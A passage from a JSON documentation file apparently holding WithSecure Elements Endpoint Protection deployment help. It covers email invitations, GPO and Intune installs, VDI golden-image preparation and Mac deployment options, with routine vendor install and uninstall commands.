"content.p_msi_properties_000028_39487903", "content.p_msi_properties_000029_55883013", "content.p_msi_properties_00002A_A39DF8F5", "content.p_msi_properties_00002B_2A851656", "content.p_msi_properties_00002C_88F9D224" ] }, { "dlentry.dlentry_msi_properties_00002E_CB0EBEFE": [ "content.dt_msi_properties_00002F_E736A127", "content.dd_msi_properties_000031_FEA36007", "content.note_msi_properties_000034_4979E886", "content.p_msi_properties_000071_1CB8AE35" ] }, { "dlentry.dlentry_msi_properties_000035_407657B3": [ "content.dt_msi_properties_000036_DEFFB26D", "content.dd_msi_properties_000038_0D7C1724" ] }, { "dlentry.dlentry_msi_properties_00003B_31F9F677": [ "content.dt_msi_properties_00003C_CE9DC713", "content.dd_msi_properties_00003E_E259053D" ] }, { "dlentry.dlentry_msi_properties_000041_AB475159": [ "content.dt_msi_properties_000042_2EFBABBD", "content.p_msi_properties_000045_4238FD1F", "content.p_msi_properties_000046_72B70E6A" ] }, { "dlentry.dlentry_msi_properties_000048_957B4F51": [ "content.dt_msi_properties_000049_1655A687", "content.p_msi_properties_00004C_59FD9B17", "content.p_msi_properties_00004E_094AF0C0", "content.note_msi_properties_00004F_9920F741", "content.note_msi_properties_000051_AECB7745", "content.p_msi_properties_000072_4144C250" ] }, { "dlentry.dlentry_msi_properties_000053_0CCF44D2": [ "content.dt_msi_properties_000054_76A71C22", "content.dd_msi_properties_000056_977F90E9", "content.note_msi_properties_000059_61CCF91A", "content.note_msi_properties_00005B_4B9806C8", "content.p_msi_properties_000073_257E1FD7" ] }, { "dlentry.dlentry_msi_properties_00005D_3686B938": [ "content.dt_msi_properties_00005E_DEE788D0", "content.dd_msi_properties_000060_581F27D6" ] }, { "dlentry.dlentry_msi_properties_000063_6E5C5341": [ "content.dt_msi_properties_000064_CD074E41", "content.dd_msi_properties_000066_87B8BC4C" ] }, { "dlentry.dlentry_msi_properties_000069_9F8419A2": [ "content.dt_msi_properties_00006A_13F5A6E4", "content.dd_msi_properties_00006C_43CA0E29" ] } ] }, "content.p_msi_properties_00006F_91787FF6" ], "related": [ "using_ws_msi_tool-latest-en" ] }, "inviting_users-latest-en.json": { "title": "title_inviting_users_000001_C42B1C7B", "title_inviting_users_000001_C42B1C7B": "Invite users by email", "shortdesc": "shortdesc_inviting_users_000002_4575E016", "shortdesc_inviting_users_000002_4575E016": "This method is suitable for cases where users install a single device without seeing the subscription key. ", "content.p_inviting_users_000014_5F6AF0A1": "You can invite users through WithSecure Elements Security Center by sending them an email message that contains a link to download WithSecure Elements Agent.", "content.p_inviting_users_000017_BD6FA0A4": "To provide the users with the software that you want them to install:", "content.p_inviting_users_00001D_39C8661C": "The Devices page is displayed.", "step.step_inviting_users_000019_0B5BCFE1": "Under Environment, select Devices on the sidebar.", "content.p_inviting_users_000023_1E66FFFE": "A menu is displayed.", "step.step_inviting_users_00001F_F2FE9BBE": "Select the icon next to the Devices title.", "content.p_inviting_users_000027_EBD8316E": "The Add new device form is displayed.", "step.step_inviting_users_000024_7E4D59A0": "From the menu, select Add new device.", "step.step_inviting_users_000029_DF08CFA0": "Select the product.", "step.step_inviting_users_00002B_59013687": "From the drop-down menu, choose the language in which you want to send the invitation.", "content.p_inviting_users_00002F_F653486D": "To send multiple invitations, under Import from CSV file, select Choose file to select a CSV file from which you want to import data. Multiple email addresses must be separated by commas.", "step.step_inviting_users_00002D_080388C0": "Enter the email address of the recipient to whom you want to send the invitation and other, optional details.", "content.p_inviting_users_000035_64FD9C54": "The listed recipients receive an email that contains a link to the download site and instructions for downloading and installing the product that you selected.", "content.note_inviting_users_000036_AA1A2168": "Note: You can see the pending invitations by selecting Manage device invitations in the Device menu.", "step.step_inviting_users_000032_7849985E": "Select Send.", "content.note_inviting_users_000038_D95E8CD4": "Note: The software is customized to use the subscription key that you selected in the Add new device dialog.", "content.p_inviting_users_00003B_D07C38BB": "Once the product has been installed and activated on the device, it will show in the Devices page and the invitation disappears from the managed devices invitations page.", "desc": [ "content.p_inviting_users_000014_5F6AF0A1", "content.p_inviting_users_000017_BD6FA0A4", { "steps.steps_inviting_users_000018_1193E8BF": [ "step.step_inviting_users_000019_0B5BCFE1", "content.p_inviting_users_00001D_39C8661C", "step.step_inviting_users_00001F_F2FE9BBE", "content.p_inviting_users_000023_1E66FFFE", "step.step_inviting_users_000024_7E4D59A0", "content.p_inviting_users_000027_EBD8316E", "step.step_inviting_users_000029_DF08CFA0", "step.step_inviting_users_00002B_59013687", "step.step_inviting_users_00002D_080388C0", "content.p_inviting_users_00002F_F653486D", "step.step_inviting_users_000032_7849985E", "content.p_inviting_users_000035_64FD9C54", "content.note_inviting_users_000036_AA1A2168" ] }, "content.note_inviting_users_000038_D95E8CD4", "content.p_inviting_users_00003B_D07C38BB" ] }, "installation_gpo-latest-en.json": { "title": "title_installation_gpo_000001_7291EE", "title_installation_gpo_000001_7291EE": "Deploy via Active Directory GPO", "shortdesc": "shortdesc_installation_gpo_000002_B6C6FD", "shortdesc_installation_gpo_000002_B6C6FD": "This deployment method is suitable for companies that use Active Directory and want to distribute software via a group policy. ", "content.p_installation_gpo_000013_3F7DDF": "For the installation, you need the following:", "step.step_installation_gpo_000015_D11FED": "An Active Directory environment.", "step.step_installation_gpo_000016_DF18E4": "All target domain members need to have a Universal CRT installed. Normally, it comes with Windows updates and is present on regularly updated systems. If the installation fails to detect it, a corresponding error message is issued to the Windows Event Log of the target system. If you need to install or repair it manually, use this link: Visual C++ Redistributable (x86) installer.", "step.step_installation_gpo_000018_7B231B": "All target domain members need to have a .NET Framework 4.7.2 installed for all the UI features to work properly.", "step.step_installation_gpo_000019_B4306C": "A customized MSI or MST file (recommended) that is prepared according to the instructions in Use the WithSecure MSI transformation tool. Make sure that you have added at least the parameter for VOUCHER to specify your subscription key.", "content.p_installation_gpo_00001C_45FE0A": "WithSecure Elements EPP for Computers and WithSecure Elements EPP for Servers can be installed remotely using GPO and any other similar deployment method that uses MSI package. Using this deployment method, you need to prepare a custom MSI package, an MST file with a subscription key, and other preferences. Afterward, you need to define a policy with the package and apply it to the devices.", "content.p_installation_gpo_00001F_371437": "To install the product:", "step.step_installation_gpo_000021_821416": "Copy the MSI installer and the MST file (if you are using one) to the domain controller.", "step.step_installation_gpo_000023_A429C9": "Open the Group Policy Management Console and create a new Group Policy Object that you link to the domain.", "step.step_installation_gpo_000025_940B81": "Navigate to Computer Configuration > Policies > Software Settings > Software installation.", "content.p_installation_gpo_000031_651EC0": "", "step.step_installation_gpo_00002C_9A4C29": "Right-click the right pane and select New > Package....", "content.p_installation_gpo_000037_024962": "", "step.step_installation_gpo_000033_36E440": "In the open file window, select OfflineInstallerCP.msi and then select Open.", "content.p_installation_gpo_00003E_8E4D59": "", "step.step_installation_gpo_000039_F4E661": "In the Deploy Software window, select Advanced to configure the package and then select OK.", "step.step_installation_gpo_000040_893F38": "Go to the Modifications tab, and then select Add....", "content.p_installation_gpo_000049_764709": " If you prepared a .mst-file for specifying the product language in step 3, then add the file with a product language code to the GPO settings the same way you added the license.mst file.", "step.step_installation_gpo_000044_C8BD65": "In the open file window, select license.mst (the transform file from FsMsiTool.exe earlier), and then select Open. This adds the transform file path to the GPO settings.", "content.p_installation_gpo_000050_4AC568": "", "content.p_installation_gpo_000052_F87F76": "WithSecure Elements EPP for Computers is now ready for deployment via GPO.", "step.step_installation_gpo_00004D_DCA85E": "Select OK to save the settings.", "content.p_installation_gpo_000054_F4BFE1": "The package is deployed after the GPO settings are refreshed on the domain computers and the computers are restarted.", "desc": [ "content.p_installation_gpo_000013_3F7DDF", { "steps.ul_installation_gpo_000014_712D1E": [ "step.step_installation_gpo_000015_D11FED", "step.step_installation_gpo_000016_DF18E4", "step.step_installation_gpo_000018_7B231B", "step.step_installation_gpo_000019_B4306C" ] }, "content.p_installation_gpo_00001C_45FE0A", "content.p_installation_gpo_00001F_371437", { "steps.steps_installation_gpo_000020_D94FC7": [ "step.step_installation_gpo_000021_821416", "step.step_installation_gpo_000023_A429C9", "step.step_installation_gpo_000025_940B81", "step.step_installation_gpo_00002C_9A4C29", "content.p_installation_gpo_000031_651EC0", "step.step_installation_gpo_000033_36E440", "content.p_installation_gpo_000037_024962", "step.step_installation_gpo_000039_F4E661", "content.p_installation_gpo_00003E_8E4D59", "step.step_installation_gpo_000040_893F38", "step.step_installation_gpo_000044_C8BD65", "content.p_installation_gpo_000049_764709", "step.step_installation_gpo_00004D_DCA85E", "content.p_installation_gpo_000050_4AC568", "content.p_installation_gpo_000052_F87F76" ] }, "content.p_installation_gpo_000054_F4BFE1" ], "related": [ "using_ws_msi_tool-latest-en" ] }, "installation_using_intune_lob-latest-en.json": { "title": "title_installation_using_intun_0E935", "title_installation_using_intun_0E935": "Deploy using Microsoft Intune as a line-of-business (Windows)", "shortdesc": "shortdesc_installation_using_intun_07DC9", "shortdesc_installation_using_intun_07DC9": "This deployment method is suitable for companies that use Microsoft Intune and want to automate installations to devices. ", "content.p_installation_using_intun_0C00E": "Using this deployment method, you download the MSI installer package from WithSecure Elements Security Center or from the following link: WithSecure Elements Agent offline installer and then configure it in Microsoft Intune.", "content.note_installation_using_intun_0247D": "Note: For information on how to deploy the Android and iOS apps with Microsoft Intune MDM, see Microsoft Intune MDM in the Elements Mobile Protection help.", "content.p_installation_using_intun_0B745": "To install the product via Microsoft Intune:", "step.step_installation_using_intun_01042": "Log in to the Microsoft Intune portal.", "content.p_installation_using_intun_0F3EE": "The Select App type pane opens.", "step.step_installation_using_intun_06CAE": "Select Apps > All apps > Add.", "content.p_installation_using_intun_097DA": "A page opens showing the Add App steps.", "step.step_installation_using_intun_064DA": "Under Other app types, select Line-of-business app > Select.", "step.step_installation_using_intun_0E631": "In the Add App page, select Select app package file.", "step.step_installation_using_intun_041B9": "In the App package file pane, select the browse icon and select the MSI installer package that you downloaded earlier.", "step.step_installation_using_intun_0A344": "Select OK to add the app.", "substep.substep_installation_using_intun_073B8": "Next to Ignore app version, select Yes to make sure that Microsoft Intune will handle automatic upgrades correctly.", "content.p_installation_using_intun_05E61": "", "content.note_installation_using_intun_04F39": "Note: You can find all the supported MSI properties.", "content.note_installation_using_intun_012C2": "Note: Some of the values might be populated automatically.", "substep.substep_installation_using_intun_05FE0": "Enter the details, such as the Publisher (WithSecure) and the command-line arguments for your app, for example, VOUCHER=xxxx-xxxx-xxxx-xxxx-xxxx (insert your subscription key).", "step.step_installation_using_intun_0C49C": "In the App information page, do the following:", "step.step_installation_using_intun_0F5DE": "Select Next to open the Assignments page.", "step.step_installation_using_intun_025F7": "Assign the preferred group, users, or devices and select Next.", "step.step_installation_using_intun_030DC": "In the Review and create page, check that the values and settings for the app are correct.", "step.step_installation_using_intun_00FF0": "Select Create to add the app to Microsoft Intune.", "content.note_installation_using_intun_043A4": "Note: WithSecure Elements EPP Agent may be automatically upgraded right after the installation, if a newer version is available. However, this might interfere with Microsoft Intune or the Windows Autopilot deployment process. We recommend that you specify the UPGRADE_DELAY_MINUTES property to avoid this issue.", "desc": [ "content.p_installation_using_intun_0C00E", "content.note_installation_using_intun_0247D", "content.p_installation_using_intun_0B745", { "steps.steps_installation_using_intun_0DE7B": [ "step.step_installation_using_intun_01042", "step.step_installation_using_intun_06CAE", "content.p_installation_using_intun_0F3EE", "step.step_installation_using_intun_064DA", "content.p_installation_using_intun_097DA", "step.step_installation_using_intun_0E631", "step.step_installation_using_intun_041B9", "step.step_installation_using_intun_0A344", "step.step_installation_using_intun_0C49C", { "substeps.substepsalpha_installationalpha_usingalpha_intunalpha_0F33C": [ "substep.substep_installation_using_intun_073B8", "substep.substep_installation_using_intun_05FE0", "content.p_installation_using_intun_05E61", "content.note_installation_using_intun_04F39", "content.note_installation_using_intun_012C2" ] }, "step.step_installation_using_intun_0F5DE", "step.step_installation_using_intun_025F7", "step.step_installation_using_intun_030DC", "step.step_installation_using_intun_00FF0" ] }, "content.note_installation_using_intun_043A4" ], "related": [ "concept_zh2_rfh_4bc-latest-en" ] }, "preparing_intune_installer_package-latest-en.json": { "title": "title_preparing_intune_install_047D6", "title_preparing_intune_install_047D6": "Prepare the installer package for Intune", "shortdesc": "shortdesc_preparing_intune_install_03607", "shortdesc_preparing_intune_install_03607": "Download the WithSecure installer and package it for deployment as a Windows app (Win32) in Microsoft Intune.", "content.p_preparing_intune_install_0E273": "Download the EXE installer from WithSecure Elements Security Center or from the following link: WithSecure Elements Agent installer.", "content.note_preparing_intune_install_01CE3": "Note: For information on how to deploy the Android and iOS apps with Microsoft Intune MDM, see Microsoft Intune MDM in the Elements Mobile Protection help.", "content.p_preparing_intune_install_009E9": "To prepare the installer package for Intune:", "content.p_preparing_intune_install_091C4": "IntuneWinAppUtil.exe -c <setup_folder> -s ElementsAgentInstaller.exe -o <output_folder>", "content.p_preparing_intune_install_07312": "It creates a package called ElementsAgentInstaller.intunewin.", "content.note_preparing_intune_install_07B86": "Note: It is a standard step for any installer to be uploaded as a Windows app (Win32). For more details on the IntuneWinAppUtil tool, see Microsoft documentation.", "step.step_preparing_intune_install_03CC1": "Prepare the installer file for upload by running the following command:", "content.p_preparing_intune_install_09BCF": "The ElementsAgentInstaller.intunewin package is ready to upload to Microsoft Intune.", "desc": [ "content.p_preparing_intune_install_0E273", "content.note_preparing_intune_install_01CE3", "content.p_preparing_intune_install_009E9", { "steps.steps_preparing_intune_install_01DAA": [ "step.step_preparing_intune_install_03CC1", "content.p_preparing_intune_install_091C4", "content.p_preparing_intune_install_07312", "content.note_preparing_intune_install_07B86" ] }, "content.p_preparing_intune_install_09BCF" ], "related": [ "installation_using_intune_winapp-latest-en" ] }, "installation_using_intune_winapp-latest-en.json": { "title": "title_installation_using_intun_0769B", "title_installation_using_intun_0769B": "Add the app to Microsoft Intune", "shortdesc": "shortdesc_installation_using_intun_0429D", "shortdesc_installation_using_intun_0429D": "Add the WithSecure installer package to Microsoft Intune and configure it as a Windows app (Win32) for automatic deployment to devices.", "content.p_installation_using_intun_0C36D": "You have prepared the installer package for Intune.", "content.p_installation_using_intun_02613": "To add the app to Microsoft Intune:", "step.step_installation_using_intun_04F10": "Log in to the Microsoft Intune portal.", "content.p_installation_using_intun_06FA6": "The Select App type pane opens.", "step.step_installation_using_intun_0AC89": "Select Apps > All apps > Add.", "content.p_installation_using_intun_0F50B": "A page opens showing the Add App steps.", "step.step_installation_using_intun_0F56F": "Under Other app types, select Windows app (Win 32) app > Select.", "step.step_installation_using_intun_06395": "In the App package file pane, select the browse icon and select the intunewin installer package that you created earlier.", "step.step_installation_using_intun_02682": "Select OK to add the app.", "subchoice.choice_installation_using_intun_0CEBB": "Name: WithSecure Elements Agent", "subchoice.choice_installation_using_intun_04217": "Publisher: WithSecure", "step.step_installation_using_intun_01ACA": "In the App information page, enter the following details:", "step.step_installation_using_intun_014B9": "Select Next to open the Program page.", "content.p_installation_using_intun_08E96": "ElementsAgentInstaller.exe --silent --voucher <license-keycode>", "content.note_installation_using_intun_0F674": "Note: You can find all the supported command-line options.", "substep.substep_installation_using_intun_0187C": "Enter the install command as follows:", "content.p_installation_using_intun_0AD22": "powershell.exe -ExecutionPolicy Bypass $cmd = [Microsoft.Win32.RegistryKey]::OpenBaseKey('LocalMachine','Registry32').OpenSubKey('SOFTWARE\\F-Secure\\NS\\default\\OneClient').GetValue('UninstallCommand'); Start-Process -FilePath $cmd -ArgumentList '--silent' -Wait ", "substep.substep_installation_using_intun_0B889": "Enter the uninstall command as follows:", "step.step_installation_using_intun_00F7F": "In the Program page, do the following:", "step.step_installation_using_intun_0D706": "Select Next to open the Requirements page.", "content.note_installation_using_intun_0958F": "Note: You can find the system requirements for WithSecure Elements Agent.", "step.step_installation_using_intun_0F7A8": "In the Requirements page, enter the requirements that the devices must meet before WithSecure Elements Agent is installed.", "step.step_installation_using_intun_099A3": "Select Next to open the Detection rules page.", "subchoice.choice_installation_using_intun_0D95B": "Rules format: Manually configure detection rules", "subchoice.choice_installation_using_intun_0D4D8": "Rule type: Registry", "subchoice.choice_installation_using_intun_03AFC": "Key path: HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\F-Secure\\Monitoring", "subchoice.choice_installation_using_intun_04A06": "Value name: Enabled", "subchoice.choice_installation_using_intun_0046F": "Detection method: Value exists", "subchoice.choice_installation_using_intun_07E03": "Associated with a 32-bit app on 64-bit clients: Yes", "step.step_installation_using_intun_06560": "In the Detection rules page, set the detection rule parameters as follows:", "step.step_installation_using_intun_05EAA": "Select Next three times to open the Assignments page.", "step.step_installation_using_intun_050B1": "Assign the preferred group, users, or devices and select Next.", "step.step_installation_using_intun_08388": "In the Review and create page, check that the values and settings for the app are correct.", "step.step_installation_using_intun_09EE3": "Select Create to add the app to Microsoft Intune.", "content.p_installation_using_intun_08332": "The app is added to Microsoft Intune.", "desc": [ "content.p_installation_using_intun_0C36D", "content.p_installation_using_intun_02613", { "steps.steps_installation_using_intun_0A7A0": [ "step.step_installation_using_intun_04F10", "step.step_installation_using_intun_0AC89", "content.p_installation_using_intun_06FA6", "step.step_installation_using_intun_0F56F", "content.p_installation_using_intun_0F50B", "step.step_installation_using_intun_06395", "step.step_installation_using_intun_02682", "step.step_installation_using_intun_01ACA", { "subchoices.choices_installation_using_intun_09B78": [ "subchoice.choice_installation_using_intun_0CEBB", "subchoice.choice_installation_using_intun_04217" ] }, "step.step_installation_using_intun_014B9", "step.step_installation_using_intun_00F7F", { "substeps.substepsalpha_installationalpha_usingalpha_intunalpha_02716": [ "substep.substep_installation_using_intun_0187C", "content.p_installation_using_intun_08E96", "content.note_installation_using_intun_0F674", "substep.substep_installation_using_intun_0B889", "content.p_installation_using_intun_0AD22" ] }, "step.step_installation_using_intun_0D706", "step.step_installation_using_intun_0F7A8", "content.note_installation_using_intun_0958F", "step.step_installation_using_intun_099A3", "step.step_installation_using_intun_06560", { "subchoices.choices_installation_using_intun_08078": [ "subchoice.choice_installation_using_intun_0D95B", "subchoice.choice_installation_using_intun_0D4D8", "subchoice.choice_installation_using_intun_03AFC", "subchoice.choice_installation_using_intun_04A06", "subchoice.choice_installation_using_intun_0046F", "subchoice.choice_installation_using_intun_07E03" ] }, "step.step_installation_using_intun_05EAA", "step.step_installation_using_intun_050B1", "step.step_installation_using_intun_08388", "step.step_installation_using_intun_09EE3" ] }, "content.p_installation_using_intun_08332" ] }, "sp_golden_image_citrix-latest-en.json": { "title": "title_sp_golden_image_citrix_0008DAF", "title_sp_golden_image_citrix_0008DAF": "Deployment in persistent mode on Virtual Desktop Infrastructure (VDI) systems", "shortdesc": "shortdesc_sp_golden_image_citrix_000732B", "shortdesc_sp_golden_image_citrix_000732B": "Installs the product on Citrix and VMware Horizon servers and other VDI environments using a golden image. ", "content.note_sp_golden_image_citrix_0009101": "Note: Sometimes a golden image can be referred as a master image or a clone image.", "content.p_sp_golden_image_citrix_0009C44": "For the installation, you need the following:", "step.step_sp_golden_image_citrix_0004BFB": "The WithSecure Elements Endpoint Protection network installer file that you can download through WithSecure Elements Security Center.", "step.step_sp_golden_image_citrix_00022B5": "The subscription key for the target company where the image is going to be used.", "content.p_sp_golden_image_citrix_000FB2C": "The computer System Management BIOS Globally Unique Identifier (SMBIOS GUID) detects if a device is the same device that was used for the previous product installation. The solution is behind a special flag as there are a lot of cases in the world where the SMBIOS GUID of multiple computers has been the same. In an environment where SMBIOS GUID cannot be relied upon and devices are joined to an Active Directory domain, the Active Directory Computer GUID could be used instead.", "desc": [ "content.note_sp_golden_image_citrix_0009101", "content.p_sp_golden_image_citrix_0009C44", { "steps.ul_sp_golden_image_citrix_0004964": [ "step.step_sp_golden_image_citrix_0004BFB", "step.step_sp_golden_image_citrix_00022B5" ] }, "content.p_sp_golden_image_citrix_000FB2C" ], "related": [ "concept_zh2_rfh_4bc-latest-en" ] }, "preparing_golden_image-latest-en.json": { "title": "title_preparing_golden_image_000CDE8", "title_preparing_golden_image_000CDE8": "Prepare a golden image", "shortdesc": "shortdesc_preparing_golden_image_0001294", "shortdesc_preparing_golden_image_0001294": "Prepares a golden image using the network installer and the SMBIOS GUID. ", "content.p_preparing_golden_image_000FEFE": "To prepare a golden image:", "content.p_preparing_golden_image_0005680": "The Downloads page opens.", "step.step_preparing_golden_image_000CACD": "Under Management, select Downloads on the sidebar.", "step.step_preparing_golden_image_000C487": "Under WithSecure Elements Agent for Computers or WithSecure Elements Agent for Servers, select EXE to download the network installer file to the running golden image template.", "step.step_preparing_golden_image_000ACE2": "Open the command prompt with administrator privileges.", "content.p_preparing_golden_image_0002EA0": "<tool_folder>\\installer.exe --use_smbios_guid", "step.step_preparing_golden_image_000B954": "Enter the following command in the command prompt to run the tool:", "step.step_preparing_golden_image_0009BBE": "Enter the subscription key, if you did not specified it yet.", "content.note_preparing_golden_image_0007283": "Note: The device is used only for creating and updating the golden image.", "step.step_preparing_golden_image_00010AB": "Make sure that the device shows correctly in WithSecure Elements Security Center.", "step.step_preparing_golden_image_000CB0D": "Wait until the product downloads and installs all latest components and databases.", "content.p_preparing_golden_image_000F094": "\"%ProgramFiles(x86)%\\F-Secure\\PSB\\ws_oneclient_logout.exe\" --nokeycode", "step.step_preparing_golden_image_000F90E": "Log out from WithSecure Elements Security Center by running the following command:", "step.step_preparing_golden_image_000EBBC": "Create the golden image template.", "desc": [ "content.p_preparing_golden_image_000FEFE", { "steps.steps_preparing_golden_image_0001084": [ "step.step_preparing_golden_image_000CACD", "content.p_preparing_golden_image_0005680", "step.step_preparing_golden_image_000C487", "step.step_preparing_golden_image_000ACE2", "step.step_preparing_golden_image_000B954", "content.p_preparing_golden_image_0002EA0", "step.step_preparing_golden_image_0009BBE", "step.step_preparing_golden_image_00010AB", "content.note_preparing_golden_image_0007283", "step.step_preparing_golden_image_000CB0D", "step.step_preparing_golden_image_000F90E", "content.p_preparing_golden_image_000F094", "step.step_preparing_golden_image_000EBBC" ] } ], "related": [ "sp_golden_image_citrix_creating_server-latest-en", "cp_installation_msi-latest-en", "manual_deployment_using_exe-latest-en" ] }, "updating_golden_image-latest-en.json": { "title": "title_updating_golden_image_00006565", "title_updating_golden_image_00006565": "Update a golden image", "shortdesc": "shortdesc_updating_golden_image_0000A11F", "shortdesc_updating_golden_image_0000A11F": "Updates a golden image with the latest product version and Windows updates. ", "content.p_updating_golden_image_00007D01": "To update a golden image:", "step.step_updating_golden_image_0000A5E6": "Restore the golden image to a suitable server instance.", "content.p_updating_golden_image_0000159E": "\"%ProgramFiles(x86)%\\F-Secure\\PSB\\ws_oneclient_logout.exe\" --keycode <subscription-key>", "step.step_updating_golden_image_0000E17F": "Log in to WithSecure Elements Security Center by running the following command:", "step.step_updating_golden_image_0000A992": "Right-click the WithSecure Elements Agent icon in the system tray area to open the context menu and select Check for updates.", "step.step_updating_golden_image_000000D3": "Wait until all updates are installed.", "step.step_updating_golden_image_0000532F": "If required, apply other changes to the golden image, for example, install Windows Updates.", "content.p_updating_golden_image_0000C890": "\"%ProgramFiles(x86)%\\F-Secure\\PSB\\ws_oneclient_logout.exe\" --nokeycode", "step.step_updating_golden_image_00002B4E": "Log out the image from Elements Security Center by running the following command:", "step.step_updating_golden_image_0000015E": "Create the updated golden image template.", "desc": [ "content.p_updating_golden_image_00007D01", { "steps.steps_updating_golden_image_0000577E": [ "step.step_updating_golden_image_0000A5E6", "step.step_updating_golden_image_0000E17F", "content.p_updating_golden_image_0000159E", "step.step_updating_golden_image_0000A992", "step.step_updating_golden_image_000000D3", "step.step_updating_golden_image_0000532F", "step.step_updating_golden_image_00002B4E", "content.p_updating_golden_image_0000C890", "step.step_updating_golden_image_0000015E" ] } ] }, "sp_golden_image_citrix_creating_server-latest-en.json": { "title": "title_sp_golden_image_citrix_c_090B6", "title_sp_golden_image_citrix_c_090B6": "Deploy a server from the golden image", "shortdesc": "shortdesc_sp_golden_image_citrix_c_02A5A", "shortdesc_sp_golden_image_citrix_c_02A5A": "Instruction on how you can test deploying a server from the golden image. ", "content.p_sp_golden_image_citrix_c_0F970": "To deploy a server using the golden image:", "step.step_sp_golden_image_citrix_c_04328": "Restore the image to a new server.", "content.p_sp_golden_image_citrix_c_00BC1": "\"%ProgramFiles(x86)%\\F-Secure\\PSB\\ws_oneclient_logout.exe\"
--keycode <subscription-key>", "content.note_sp_golden_image_citrix_c_06BF9": "Note: This subscription key must be the same as you used when you installed the product for the image. We do not allow switching subscriptions with this installation method due to security reasons.", "content.p_sp_golden_image_citrix_c_003BB": "A second device (server) that uses the new SMBIOS GUID is created in WithSecure Elements Security Center.", "step.step_sp_golden_image_citrix_c_0D473": "Once the server has restarted and it has a network connection, make sure that you run the logout tool by running the following post-installation command:", "content.note_sp_golden_image_citrix_c_01B25": "Note: You can also verify the SMBIOS GUI following these Microsoft instructions.", "step.step_sp_golden_image_citrix_c_0849E": "To find the communication ID that the server uses, go to Settings > Central Management > Unique ID. The ID is not the SMBIOS GUID but the WithSecure populated ID which remains the same even when you restore the image again.", "content.p_sp_golden_image_citrix_c_0AE20": "The server is re-registered to the system with the same SMBIOS GUID using the device and profile information from Elements Security Center.", "step.step_sp_golden_image_citrix_c_0FAD6": "If the golden image was updated and you want to redeploy it to the server, repeat the above steps 1-3.", "desc": [ "content.p_sp_golden_image_citrix_c_0F970", { "steps.steps_sp_golden_image_citrix_c_084A5": [ "step.step_sp_golden_image_citrix_c_04328", "step.step_sp_golden_image_citrix_c_0D473", "content.p_sp_golden_image_citrix_c_00BC1", "content.note_sp_golden_image_citrix_c_06BF9", "content.p_sp_golden_image_citrix_c_003BB", "step.step_sp_golden_image_citrix_c_0849E", "content.note_sp_golden_image_citrix_c_01B25", "step.step_sp_golden_image_citrix_c_0FAD6", "content.p_sp_golden_image_citrix_c_0AE20" ] } ] }, "setting_profile_for_restored_devices-latest-en.json": { "title": "title_setting_profile_for_rest_01F7B", "title_setting_profile_for_rest_01F7B": "Set the profile for the restored or newly-deployed devices", "shortdesc": "shortdesc_setting_profile_for_rest_0064E", "shortdesc_setting_profile_for_rest_0064E": "The profile that is set for a golden image is never used when you restore the image.", "content.p_setting_profile_for_rest_02A84": "When you restore an image for a new device for the first time, the device automatically gets the company default profile based on the profile assignment rules defined in the WithSecure Elements Security Center Profile section. You can override these settings and manually specify a profile.", "content.note_setting_profile_for_rest_0D35E": "Note: When you restore the same device with the same SMBIOS GUID again, it automatically uses the last defined profile for that device. If you set the profile manually when you add the device, it uses that profile whenever you restore the device.", "step.step_setting_profile_for_rest_0C181": "Copy the profile ID value of the profile.", "content.note_setting_profile_for_rest_0E7D6": "Note: This parameter overrides any other default profile assignments.", "subchoice.choice_setting_profile_for_rest_0EB36": "Enter the following command on the command line: \"%ProgramFiles(x86)%\\F-Secure\\PSB\\ws_oneclient_logout.exe\" --profile-id <profile-id>", "subchoice.choice_setting_profile_for_rest_0B2BC": "Register the device to an Active Directory group before you run the ws_oneclient_logout.exe tool. When the device registers to the system, it uses the default profile that is assigned to the Active Directory group.", "subchoice.choice_setting_profile_for_rest_0721E": "Set the profile manually in Elements Security Center after the new device is added.", "content.p_setting_profile_for_rest_02A7F": "", "step.step_setting_profile_for_rest_0CEDA": "Override the default profile assignment in one of the following ways:", "content.p_setting_profile_for_rest_0C509": "The device uses the specified profile when it is restored.", "desc": [ "content.p_setting_profile_for_rest_02A84", "content.note_setting_profile_for_rest_0D35E", { "steps.steps_setting_profile_for_rest_07C56": [ "step.step_setting_profile_for_rest_0C181", "step.step_setting_profile_for_rest_0CEDA", "content.p_setting_profile_for_rest_02A7F", { "subchoices.ul_setting_profile_for_rest_0DCA2": [ "subchoice.choice_setting_profile_for_rest_0EB36", "content.note_setting_profile_for_rest_0E7D6", "subchoice.choice_setting_profile_for_rest_0B2BC", "subchoice.choice_setting_profile_for_rest_0721E" ] } ] }, "content.p_setting_profile_for_rest_0C509" ] }, "deployment_mac-latest-en.json": { "title": "title_deployment_mac_000001_48FB2694", "title_deployment_mac_000001_48FB2694": "Deployment methods for Mac devices", "shortdesc": "shortdesc_deployment_mac_000002_F6A147B3", "shortdesc_deployment_mac_000002_F6A147B3": "Ways to distribute, install, and activate WithSecure Elements Endpoint Protection for Computers (Mac). ", "content.p_deployment_mac_000012_9CE231FF": "For a single device or a small environment, choose one of these methods:", "step.step_deployment_mac_000014_DC1E7C3E": "An administrator downloads the installer from WithSecure Elements Security Center and runs it on the device.", "step.step_deployment_mac_000016_91DBE04E": "An administrator invites the user by email. The user receives a link to download and install the agent.", "content.p_deployment_mac_000017_52A1D83B": "For larger or fully automated deployments, you can distribute WithSecure Elements Endpoint Protection software using the following methods:", "step.step_deployment_mac_00001A_3783268E": "ssh", "step.step_deployment_mac_00001B_2589FDAA": "MDM or another software distribution solution (for example, Munki) manually activating and configuring the product", "step.step_deployment_mac_00001C_A03A0DAE": "MDM or another software distribution solution, using a custom package to activate and configure the product", "step.step_deployment_mac_00001D_BDDF941B": "MDM or another software distribution solution, using one package to both install and activate the product", "content.note_deployment_mac_00001E_056B0F08": "Note: Apart from MDM, you can also use another software distribution solution. For instructions on importing the package, see the documentation for your third-party solution.", "desc": [ "content.p_deployment_mac_000012_9CE231FF", { "steps.ul_deployment_mac_000013_03AF6621": [ "step.step_deployment_mac_000014_DC1E7C3E", "step.step_deployment_mac_000016_91DBE04E" ] }, "content.p_deployment_mac_000017_52A1D83B", { "steps.ul_deployment_mac_000019_CD5BD223": [ "step.step_deployment_mac_00001A_3783268E", "step.step_deployment_mac_00001B_2589FDAA", "step.step_deployment_mac_00001C_A03A0DAE", "step.step_deployment_mac_00001D_BDDF941B" ] }, "content.note_deployment_mac_00001E_056B0F08" ] }, "cp_automatic_installation_activation_mac-latest-en.json": { "title": "title_cp_automatic_installatio_03638", "title_cp_automatic_installatio_03638": "Automatic installation, activation and configuration of the product", "shortdesc": "shortdesc_cp_automatic_installatio_087AB", 